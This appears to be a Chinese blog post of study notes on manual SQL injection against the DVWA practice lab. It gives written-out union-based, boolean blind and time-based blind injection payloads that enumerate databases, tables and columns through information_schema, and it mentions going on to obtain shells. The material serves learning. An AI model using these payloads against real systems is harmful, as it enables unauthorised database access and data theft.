zoukankan      html  css  js  c++  java
  • SQL手工注入学习 一

    sql注入:    (基于DVWA环境的sql注入)

    流程:
        1、判断是否有SQL注入漏洞
        2、判断操作系统、数据库和web应用的类型
        3、获取数据库信息看,包括管理员信息(拖库)
        4、加密信息破解(sqlmap支持自动破解)
        5、提示权限,获得sql-shell,os-shell、web-shell...
       

    low级别下的PHP源码:

    由源码可以分析出 图中所圈指的为sql执行语句,而$id并没有对输入的字符做严格的限制(检查)所以我们直接输入sql注入语句:

    上图为 用户提交信息的界面,一旦输入了注入语句,则会直接回显所有数据内容。

     注入语句执行后相当于执行如下的SQL命令:    

    以上为 基于 布尔 的注入方式;

    简单总结

     ---------------------

    上图为基于 union 的sql注入方式;等同于执行如下的sql命令:

    注入语句:        union ....【组合语句函数】
        例如:        union select [待查看的信息或mysql函数]
                    union select version(),user()
    sql执行内容     select first_name, last_name from where user_id=' 'union select version(),user() -- ' '; ;
    解析:    1、语句的单引号的作用依旧是闭合前者的条件
            2、union 组合语句函数,select 查看内容函数 version(),user() 查看版本和当前用户名 
            3、ps:由于sql语句只是执行显示两列内容,则组合语句内容仅且必须为两个条件
    简单总结

    ----------------------

    以上为基于 union 的注入 查看所有的数据库名;等同于下条语句。

    查询数据库中所有表:
        information_schema 数据库是mysql自带的,它提供了访问数据库元数据的方式;
            元数据包括:数据库名,表名,列数据类型,访问权限,字符集等基础元素。
        例: select * from information_schema.tablesG

     --------------------

    union语句用于联合前面的语句,合并查询更多的信息:

      一般通过错误和布尔注入确认注入点(猜),便开始通过union语句结合mysql函数来获得更多信息;

      一般需要才数据列数:

        * ' union select 1  -- '

        * ' union select 1,2  -- '

        * ' union select 1,2,3 -- '

            ....

     总结:前面做闭合,后面做注释,将自己的注入语句变成"唯一可有效回显"的执行语句;

    盲注:
        一般的sql注入在我们输入sql语句的时候都会返回我们执行sql语句的结果,
        比如我们插入database(),执行结果就会是列举出当前所在的数据库名称dvwa;
        而盲注就好像是在做判断题,我们执行的结果不会显示出来,只会告诉你“对”或者“不对”,不会出现回显现象。
        回显:就是显示正在执行的批处理命令及执行的结果等。
        
        猜测长度:1’ and length(database())>1 #  或>1(依次递增1,2,3…)4
        猜测库名:1’ and ascii(substr(database(),1,1))>97 # (对应ASCII码) dvwa
                <、>号可以迅速确定大概范围
        猜测表名:
            1、猜测表的数量:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
            2、猜测表长度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
            获取表名:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
        猜测字段的长度:
            1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
        猜解字段:
            1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>120 #

    基于时间的盲注    
        判断数据库长度:1’ and if(length(database())=4,sleep(3),1) #
        猜测数据库名称:1’ and if(ascii(substr(database(),1,1))>97,sleep(3),1)#
        猜测表的数量:1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
        猜测表名的长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
        下面就都可以结合二分法来进行操作…


    。。。。

  • 相关阅读:
    Hive表中四种不同数据导出方式以及如何自定义导出列分隔符
    build doris 0.11.5 on centos 7/ubuntu
    centos7 gcc升级
    linux-nohup后台运行
    sqoop import mysql to hive table:GC overhead limit exceeded
    Hive开启mapjoin优化、并行执行、动态分区
    How to Plan and Configure YARN and MapReduce 2 in HDP 2.0
    Android 8 AudioPolicy 初始化
    Android 8 声音调整过程
    qcom wlan kernel 解读 WCNSS_qcom_cfg.ini 文件
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/10235641.html
Copyright © 2011-2022 走看看